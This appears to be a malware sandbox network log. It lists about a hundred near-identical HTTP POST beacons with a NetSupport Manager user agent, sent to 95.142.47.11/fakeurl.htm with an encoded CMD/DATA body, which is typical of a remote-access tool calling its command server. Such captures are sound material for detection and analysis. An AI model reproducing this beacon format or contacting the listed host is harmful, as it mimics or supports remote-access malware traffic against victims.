Dec 6, 2023 14:36:29.471390963 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:29.572645903 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:29.672622919 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:29.773602962 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:29.873655081 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:29.973644972 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:30.074642897 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:30.175647020 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:30.275855064 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:30.376631975 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:30.476876974 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:30.576859951 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:30.677669048 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:30.778714895 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:30.878942013 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:30.979000092 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:31.079708099 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:31.180649996 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:31.280754089 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:31.381618977 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:31.483417988 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:31.582672119 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:31.683655024 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:31.784023046 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:31.884627104 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:31.984863043 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:32.084917068 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:32.185645103 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:32.286874056 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:32.386679888 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:32.487633944 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:32.587760925 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:32.688962936 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:32.789618969 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:32.889863968 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:32.990592003 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:33.090744972 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:33.192167997 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:33.292702913 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:33.393655062 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:33.494615078 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:33.594604969 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:33.699434996 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:33.799835920 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:33.900602102 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:34.000847101 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:34.101974964 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:34.202796936 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:34.303606987 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:34.404628992 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:34.505732059 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:34.606643915 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:34.706629992 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:34.806664944 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:34.906641960 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:35.006620884 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:35.106734991 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:35.207644939 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:35.308643103 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:35.408629894 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:35.510310888 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:35.609894037 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:35.710822105 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:35.811618090 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:35.911911011 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:36.012674093 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:36.112649918 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:36.213725090 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:36.314743042 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:36.415679932 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:36.516660929 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:36.616751909 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:36.717642069 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:36.818641901 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:36.918791056 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:37.019674063 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:37.120814085 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:37.221741915 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:37.321871042 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:37.421705008 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:37.522650957 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:37.623722076 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:37.723820925 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:37.824909925 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:37.925709963 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:38.026619911 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:38.226711035 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:38.327646017 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:38.427813053 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:38.528703928 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:38.629709959 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:38.730710983 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:38.830879927 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
